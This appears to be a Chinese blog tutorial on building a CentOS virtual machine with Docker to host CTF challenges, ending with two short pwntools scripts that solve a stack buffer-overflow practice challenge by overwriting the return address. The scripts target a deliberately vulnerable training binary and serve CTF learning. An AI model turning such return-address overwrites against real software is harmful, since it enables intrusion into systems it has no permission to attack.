从零开始部署CTF题目环境(docker容器)

2023-12-29 22:39:00

本教程将教会大家如何安装一台可以部署docker容器形式的CTF题目的CentOS服务器。

操作步骤

1-下载操作系统镜像文件

虚拟操作系统:CentOS 8? (CentOS 9?毛病多,先不装)

镜像文件下载地址,点击X86_64即可

CentOS Stream

选一个下载快的,我选的清华 ,下那个12.2G的

下载得到

2-创建CentOS 虚拟机

VMware WorkStation点击创建新的虚拟机

选择典型即可

选择第二项,并指定你下载好的镜像文件

指定一下虚拟机名称,存放位置也改一下

50GB(只是后期不想扩容,20GB也行)

?自定义硬件,按照自己配置来,内存拿一半吧

自定义一下硬件,不然默认配置会很慢。内存取电脑一半,处理器1? 内核4

第一次启动会有点久

3-安装CentOS 8系统

ctrl+alt+回车 切换全屏,选择简体中文!

配置Root密码

?密码为Rotten2023 ,点击完成

创建新用户centos

时间和区间设为上海

安装目的地点进去,然后退出来就行

没有报错,点击开始安装,时间可能会有点久

4-CentOS 换源

CentOS8 更改YUM源_centos8更换yum源-CSDN博客

换好后

yum update

5-安装docker

安装所需的软件包以允许?dnf?使用存储库通过 HTTPS 下载软件包:

sudo dnf install -y dnf-utils device-mapper-persistent-data lvm2

添加 Docker 存储库:

sudo dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo

安装docker引擎

sudo dnf install -y --allowerasing docker-ce docker-ce-cli containerd.io


启动docker服务

sudo systemctl start docker

设置开机自启(可选)

sudo systemctl enable docker

验证安装情况

sudo docker run hello-world

本地没镜像,报错 ,可使用以下指令手动拉取(默认自动下载,但我这里卡住了,所以手动拉)

sudo docker pull hello-world

?OK了

6-docker换源

Docker安装及镜像源修改_更换docker镜像源-CSDN博客

如果发现那个nano编辑器用不来,可以看这个

CentOS下nano编辑器使用教程_centos 中noao 怎么用-CSDN博客

7-题目docekr部署?

借助巨魔的CTF靶机模板

GitHub - CTF-Archives/ctf-docker-template: Deployment template for docker target machine in ctf for CTFd and other platforms that support dynamic flags

先安装git,root用户

yum install git

?拉取项目

git clone 项目网址

PWN篇

取出一个模板,替换src中的二进制文件?

默认文件名为attachement,如需替换,需修改配置文件

替换好之后,这个目录下打开控制台

docker compose up -d

如果没设置IP,?或者忘了

查看容器列表

docker ps

?查看指定容器IP

docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' 1397af75dab3   #最后的是容器ID

就会自动构造image并运行docker容器,nc测试

注意,我用的是rip的题目文件,由于版本升级,可能wp要参考新版本的

旧版本无法打通

from pwn import * 

p=remote('node4.buuoj.cn',27036)

payload=b'a'*(15)  + p64(0x401186)

p.sendline(payload)

p.interactive()

加了中堆栈平衡的题解

from pwn import * 

#context(os='linux', arch='amd64', log_level='debug')

p=remote('node4.buuoj.cn',29110)

payload=b'a'*(23) + p64(0x0401016)  + p64(0x401186)

#p.recvuntil("please input\n")

p.sendline(payload)

p.interactive()

这是2023年第三次尝试自己搭建pwn环境,前两次均以失败告终,这次,在诸位大佬和群友的帮助下,终于得以完成。博主太菜了,给大家带来了麻烦,希望这篇博客能帮助大家更好的上手题目环境的搭建。

?本次学习需要由衷感谢以下几位大佬的支持

CTF-Archives开发者-感谢大大们的模板

华为大佬-协助docker问题解决

Rotten战队交流群群友-顶级pwn手-解决脚本问题

?

还有许多篇博客的编写者

祝愿CTF-Archives项目越做越好,加油!

文章来源:https://blog.csdn.net/yuwoxinanA3/article/details/135208774
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。